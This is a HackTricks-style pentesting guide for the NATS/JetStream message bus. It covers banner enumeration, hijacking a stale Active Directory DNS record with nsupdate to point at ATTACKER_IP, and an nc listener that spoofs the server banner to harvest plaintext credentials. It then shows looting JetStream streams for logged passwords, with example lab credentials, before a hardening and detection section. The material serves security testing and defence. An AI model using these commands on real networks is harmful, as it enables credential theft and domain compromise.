// HackTricks · Network Services

4222 - Pentesting NATS / JetStream

4222 - Pentesting NATS / JetStream

Basic Information

NATS is a high-performance message bus that speaks a simple text-based protocol: the server transmits an INFO { ... } JSON banner immediately after TCP connect, and the client replies with a CONNECT {"user":"USERNAME","pass":"PASSWORD",...} frame followed by optional PING/PUB/SUB commands. JetStream adds persistence primitives (Streams & Consumers) on top of the same TCP port (4222/tcp). TLS and authentication are optional, so many internal deployments run plaintext AUTH.

  • Default client port: 4222/tcp; the conventional cluster-route port is 6222/tcp, and optional HTTP monitoring commonly uses 8222/tcp.[2]
  • Stock banner fields: "version", "auth_required", "jetstream", "max_payload", "tls_required"

Enumeration

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

The INFO frame can also be pulled manually:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

Install the official CLI for deeper interaction; check the current project’s Go toolchain requirement before building from source.[4]

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

Authentication failures immediately raise nats: Authorization Violation, so valid creds are required for any meaningful RPC.

Credential capture via DNS/service impersonation

  • Identify stale AD DNS entries for the broker hostname (e.g. nats-svc.domain.local). If the record returns NXDOMAIN, a low-privileged domain user can recreate it thanks to default dynamic-update ACLs. See AD DNS Records abuse for background.[1]
  • Register the hostname to an attacker-controlled IP:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • In a lab, mirror the legitimate banner and observe whether a legacy username/password client sends a CONNECT frame before authenticating the server. This credential-capture condition requires plaintext NATS or TLS without server identity validation; correctly validated TLS prevents simple DNS impersonation.[3]
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • As soon as an internal client resolves the hijacked name, it will emit a plaintext CONNECT frame containing the user / pass pair and various telemetry (client name, Go version, protocol level). Because nothing past the INFO banner is required, even nc is enough to harvest secrets.
  • For longer engagements, build the official server locally and inspect the relevant version in a lab. TRACE logging can expose usernames; code instrumentation or packet capture may reveal additional authentication material when transport encryption is absent.[4]
git clone https://github.com/nats-io/nats-server
cd nats-server
go build
./nats-server -V

JetStream looting & password hunting

Once any credential is recovered (e.g. Dev_Account_A), store it as a CLI context to avoid retyping:[1]

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

JetStream discovery usually follows this pattern:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

Streaming teams frequently log authentication events into subjects such as logs.auth. If developers persist the raw JSON into a JetStream stream, the payloads may include plaintext AD usernames and passwords:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Retained secrets can then be replayed against Kerberos-only services using netexec smb DC01 -u USER -p PASS -k, enabling full domain compromise.

Hardening & detection

  • Enforce and validate TLS through the server’s tls configuration and confirm the advertised tls_required behavior; optionally require client certificates for mTLS. NKey/JWT authentication material is commonly distributed in .creds files, but NKeys/credentials are distinct from TLS client certificates.[3]
  • Pinpoint who can update DNS – delegate service records to dedicated accounts and audit Event IDs 257/252 for high-value hostnames. Combine with scavenging alerts so missing broker names cannot be silently re-claimed.
  • Disable credential logging. Scrub secrets before publishing to subjects, set JetStream retention/age limits, and restrict stream-management permissions to trusted operators.
  • Monitor for banner anomalies – repeated short-lived connections, authentication timeouts, or INFO banners that do not match the blessed template suggest spoofed servers.

References